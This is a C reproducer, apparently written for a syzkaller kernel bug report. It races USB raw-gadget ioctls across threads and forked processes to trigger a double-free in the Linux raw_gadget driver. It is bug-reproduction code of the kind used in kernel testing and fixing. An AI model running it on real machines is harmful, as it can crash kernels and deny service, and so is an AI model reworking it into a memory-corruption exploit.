// https://syzkaller.appspot.com/bug?id=f949a8e906a2642a638df48e4f41eac5e22b623d
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/types.h>
#include <linux/usb/ch9.h>

#ifndef USB_DT_ENDPOINT_SIZE
#define USB_DT_ENDPOINT_SIZE 7
#endif
#ifndef USB_DT_ENDPOINT
#define USB_DT_ENDPOINT 0x05
#endif
#ifndef USB_ENDPOINT_XFER_BULK
#define USB_ENDPOINT_XFER_BULK 2
#endif
#ifndef USB_SPEED_HIGH
#define USB_SPEED_HIGH 3
#endif

#ifndef USB_RAW_IOCTL_INIT
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
    __u8 driver_name[UDC_NAME_LENGTH_MAX];
    __u8 device_name[UDC_NAME_LENGTH_MAX];
    __u8 speed;
};
#define USB_RAW_IOCTL_INIT       _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN        _IO('U', 1)
#define USB_RAW_IOCTL_EP_ENABLE  _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE _IOW('U', 6, __u32)
#endif

#define NUM_WORKERS 4

static char udc_driver_name[128] = "dummy_udc";
static char udc_device_name[128] = "dummy_udc.0";
static volatile int stop_threads = 0;
static atomic_int s2_state;

static void pin_cpu(int cpu) {
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(cpu, &cpuset);
    sched_setaffinity(0, sizeof(cpuset), &cpuset);
}

static inline double timer_elapsed_sec(struct timespec *start) {
    struct timespec now;
    if (clock_gettime(CLOCK_MONOTONIC, &now) == -1)
        return 0;
    return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

static void fill_init_arg(struct usb_raw_init *init) {
    memset(init, 0, sizeof(*init));
    strncpy((char *)init->driver_name, udc_driver_name, sizeof(init->driver_name) - 1);
    strncpy((char *)init->device_name, udc_device_name, sizeof(init->device_name) - 1);
    init->speed = USB_SPEED_HIGH;
}

static void fill_ep_desc_in(struct usb_endpoint_descriptor *desc) {
    memset(desc, 0, sizeof(*desc));
    desc->bLength = USB_DT_ENDPOINT_SIZE;
    desc->bDescriptorType = USB_DT_ENDPOINT;
    desc->bEndpointAddress = 0x81;
    desc->bmAttributes = USB_ENDPOINT_XFER_BULK;
    desc->wMaxPacketSize = 512;
    desc->bInterval = 0;
}

static void fill_ep_desc_out(struct usb_endpoint_descriptor *desc) {
    memset(desc, 0, sizeof(*desc));
    desc->bLength = USB_DT_ENDPOINT_SIZE;
    desc->bDescriptorType = USB_DT_ENDPOINT;
    desc->bEndpointAddress = 0x02;
    desc->bmAttributes = USB_ENDPOINT_XFER_BULK;
    desc->wMaxPacketSize = 512;
    desc->bInterval = 0;
}

static int poll_ep_enable(int fd, struct usb_endpoint_descriptor *desc, int max_retries, int delay_us) {
    int ret = -1;
    for (int i = 0; i < max_retries; i++) {
        ret = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, desc);
        if (ret >= 0)
            return ret;
        usleep(delay_us);
    }
    return ret;
}

/* Stage 1: Sequential unbind -> rebind cycles */
static void run_stage1_sequential(int iterations) {
    struct usb_raw_init init;
    fill_init_arg(&init);
    struct usb_endpoint_descriptor ep_in, ep_out;
    fill_ep_desc_in(&ep_in);
    fill_ep_desc_out(&ep_out);

    for (int iter = 0; iter < iterations; iter++) {
        int fd1 = open("/dev/raw-gadget", O_RDWR);
        if (fd1 < 0) continue;

        if (ioctl(fd1, USB_RAW_IOCTL_INIT, &init) == 0 &&
            ioctl(fd1, USB_RAW_IOCTL_RUN, 0) == 0) {
            if (poll_ep_enable(fd1, &ep_in, 30, 5000) >= 0) {
                ioctl(fd1, USB_RAW_IOCTL_EP_ENABLE, &ep_out);
            }
        }
        close(fd1);

        int fd2 = open("/dev/raw-gadget", O_RDWR);
        if (fd2 >= 0) {
            if (ioctl(fd2, USB_RAW_IOCTL_INIT, &init) == 0 &&
                ioctl(fd2, USB_RAW_IOCTL_RUN, 0) == 0) {
                ioctl(fd2, USB_RAW_IOCTL_EP_ENABLE, &ep_in);
                ioctl(fd2, USB_RAW_IOCTL_EP_ENABLE, &ep_out);
            }
            close(fd2);
        }
    }
}

/* Stage 2: Synchronized 2-thread unbind/rebind race */
static void *s2_worker_a(void *arg) {
    (void)arg;
    pin_cpu(0);

    struct usb_raw_init init;
    fill_init_arg(&init);
    struct usb_endpoint_descriptor ep_in, ep_out;
    fill_ep_desc_in(&ep_in);
    fill_ep_desc_out(&ep_out);

    while (atomic_load(&s2_state) != -1) {
        int fd = open("/dev/raw-gadget", O_RDWR);
        if (fd < 0) {
            usleep(1000);
            continue;
        }
        if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0 ||
            ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
            close(fd);
            usleep(1000);
            continue;
        }
        if (poll_ep_enable(fd, &ep_in, 30, 4000) < 0) {
            close(fd);
            usleep(1000);
            continue;
        }
        ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_out);

        atomic_store(&s2_state, 1);
        unsigned long spins = 0;
        while (atomic_load(&s2_state) == 1 && ++spins < 1000000) {
            /* Spin-wait for worker_b to arm */
        }

        close(fd);
        usleep(1000);
    }
    return NULL;
}

static void *s2_worker_b(void *arg) {
    (void)arg;
    int ncpus = sysconf(_SC_NPROCESSORS_ONLN);
    pin_cpu(ncpus > 1 ? 1 : 0);

    struct usb_raw_init init;
    fill_init_arg(&init);
    struct usb_endpoint_descriptor ep_in, ep_out;
    fill_ep_desc_in(&ep_in);
    fill_ep_desc_out(&ep_out);

    while (atomic_load(&s2_state) != -1) {
        while (atomic_load(&s2_state) != 1) {
            if (atomic_load(&s2_state) == -1) return NULL;
            usleep(100);
        }

        int fd = open("/dev/raw-gadget", O_RDWR);
        if (fd < 0) {
            atomic_store(&s2_state, 2);
            continue;
        }
        ioctl(fd, USB_RAW_IOCTL_INIT, &init);

        atomic_store(&s2_state, 2);

        for (int r = 0; r < 100; r++) {
            if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) == 0) {
                ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_in);
                ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_out);
                for (int p = 0; p < 10; p++) {
                    ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_in);
                    usleep(1000);
                }
                break;
            }
        }
        close(fd);
        while (atomic_load(&s2_state) == 2) usleep(100);
    }
    return NULL;
}

static void run_stage2_sync_race(double duration_sec) {
    pthread_t th_a, th_b;
    atomic_store(&s2_state, 0);
    pthread_create(&th_a, NULL, s2_worker_a, NULL);
    pthread_create(&th_b, NULL, s2_worker_b, NULL);

    struct timespec start;
    clock_gettime(CLOCK_MONOTONIC, &start);
    while (timer_elapsed_sec(&start) < duration_sec) {
        usleep(20000);
    }
    atomic_store(&s2_state, -1);
    pthread_join(th_a, NULL);
    pthread_join(th_b, NULL);
}

/* Stage 3: Multi-threaded continuous racing */
static void *stage3_worker(void *arg) {
    int id = (int)(intptr_t)arg;
    int ncpus = sysconf(_SC_NPROCESSORS_ONLN);
    if (ncpus > 0)
        pin_cpu(id % ncpus);

    struct usb_raw_init init;
    fill_init_arg(&init);
    struct usb_endpoint_descriptor ep_in, ep_out;
    fill_ep_desc_in(&ep_in);
    fill_ep_desc_out(&ep_out);

    while (!stop_threads) {
        int fd = open("/dev/raw-gadget", O_RDWR);
        if (fd < 0) {
            usleep(200);
            continue;
        }

        if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) == 0) {
            if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) == 0) {
                for (int p = 0; p < 20; p++) {
                    if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_in) >= 0) {
                        ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep_out);
                        break;
                    }
                    usleep(2000);
                }
            }
        }
        close(fd);
    }
    return NULL;
}

static void run_stage3_continuous(double duration_sec) {
    pthread_t th[NUM_WORKERS];
    stop_threads = 0;
    for (int i = 0; i < NUM_WORKERS; i++) {
        pthread_create(&th[i], NULL, stage3_worker, (void *)(intptr_t)i);
    }
    struct timespec start;
    clock_gettime(CLOCK_MONOTONIC, &start);
    while (timer_elapsed_sec(&start) < duration_sec) {
        usleep(20000);
    }
    stop_threads = 1;
    for (int i = 0; i < NUM_WORKERS; i++) {
        pthread_join(th[i], NULL);
    }
}

/* Stage 4: Forked child process race with exit_task_work teardown */
static void run_stage4_fork_race(double duration_sec) {
    struct timespec start;
    clock_gettime(CLOCK_MONOTONIC, &start);

    while (timer_elapsed_sec(&start) < duration_sec) {
        pid_t pid = fork();
        if (pid < 0) {
            printf("[-] Failed to fork: %s\n", strerror(errno));
            break;
        }

        if (pid == 0) {
            pthread_t cth[NUM_WORKERS];
            stop_threads = 0;
            for (int i = 0; i < NUM_WORKERS; i++) {
                pthread_create(&cth[i], NULL, stage3_worker, (void *)(intptr_t)i);
            }
            usleep(40000 + (rand() % 40000));
            _exit(0);
        }

        int status = 0;
        waitpid(pid, &status, 0);
        usleep(1000);
    }
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] Starting raw_gadget dev_free double-free reproducer...\n");

    /* Step 1: Detect available UDC device */
    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to opendir /sys/class/udc: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] opendir /sys/class/udc successful.\n");

    struct dirent *ent;
    char found_udc[128] = {0};
    while ((ent = readdir(dir)) != NULL) {
        if (ent->d_name[0] == '.')
            continue;
        strncpy(found_udc, ent->d_name, sizeof(found_udc) - 1);
        break;
    }
    int res = closedir(dir);
    if (res < 0) {
        printf("[-] Failed to closedir /sys/class/udc: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] closedir /sys/class/udc successful.\n");

    if (found_udc[0] != '\0') {
        strncpy(udc_device_name, found_udc, sizeof(udc_device_name) - 1);
    }
    printf("[+] Using UDC device: %s, driver: %s\n", udc_device_name, udc_driver_name);

    /* Step 2: Validate baseline raw-gadget endpoint operations */
    int test_fd = open("/dev/raw-gadget", O_RDWR);
    if (test_fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] open /dev/raw-gadget successful.\n");

    struct usb_raw_init test_init;
    fill_init_arg(&test_init);

    res = ioctl(test_fd, USB_RAW_IOCTL_INIT, &test_init);
    if (res < 0) {
        printf("[-] Failed to ioctl(USB_RAW_IOCTL_INIT): %s\n", strerror(errno));
        close(test_fd);
        exit(1);
    }
    printf("[+] ioctl(USB_RAW_IOCTL_INIT) successful.\n");

    res = ioctl(test_fd, USB_RAW_IOCTL_RUN, 0);
    if (res < 0) {
        printf("[-] Failed to ioctl(USB_RAW_IOCTL_RUN): %s\n", strerror(errno));
        close(test_fd);
        exit(1);
    }
    printf("[+] ioctl(USB_RAW_IOCTL_RUN) successful.\n");

    struct usb_endpoint_descriptor ep_in, ep_out;
    fill_ep_desc_in(&ep_in);
    fill_ep_desc_out(&ep_out);

    /* Poll for dummy_hcd port reset/enablement */
    int ep_in_res = poll_ep_enable(test_fd, &ep_in, 50, 10000);
    if (ep_in_res < 0) {
        printf("[-] Warning: poll_ep_enable(ep_in) did not succeed: %s\n", strerror(errno));
    } else {
        printf("[+] poll_ep_enable(ep_in) successful (ep handle = %d).\n", ep_in_res);
        int ep_out_res = ioctl(test_fd, USB_RAW_IOCTL_EP_ENABLE, &ep_out);
        if (ep_out_res >= 0) {
            printf("[+] ioctl(USB_RAW_IOCTL_EP_ENABLE, ep_out) successful (ep handle = %d).\n", ep_out_res);
        }
    }

    res = close(test_fd);
    if (res < 0) {
        printf("[-] Failed to close test_fd: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Baseline test_fd closed successfully.\n");
    usleep(50000);

    /* Stage 1: Sequential unbind/rebind cycles */
    printf("[*] Starting Stage 1: Sequential unbind/rebind cycles...\n");
    run_stage1_sequential(30);
    printf("[+] Stage 1 completed.\n");
    usleep(50000);

    /* Stage 2: Synchronized 2-thread unbind/rebind race */
    printf("[*] Starting Stage 2: Synchronized 2-thread race...\n");
    run_stage2_sync_race(6.0);
    printf("[+] Stage 2 completed.\n");
    usleep(50000);

    /* Stage 3: Multi-threaded continuous racing */
    printf("[*] Starting Stage 3: Multi-threaded continuous racing...\n");
    run_stage3_continuous(6.0);
    printf("[+] Stage 3 completed.\n");
    usleep(50000);

    /* Stage 4: Forked child processes with exit_task_work teardown */
    printf("[*] Starting Stage 4: Process teardown race with exit_group / exit_task_work...\n");
    run_stage4_fork_race(10.0);
    printf("[+] Stage 4 completed.\n");

    printf("[+] Reproducer finished execution successfully.\n");
    return 0;
}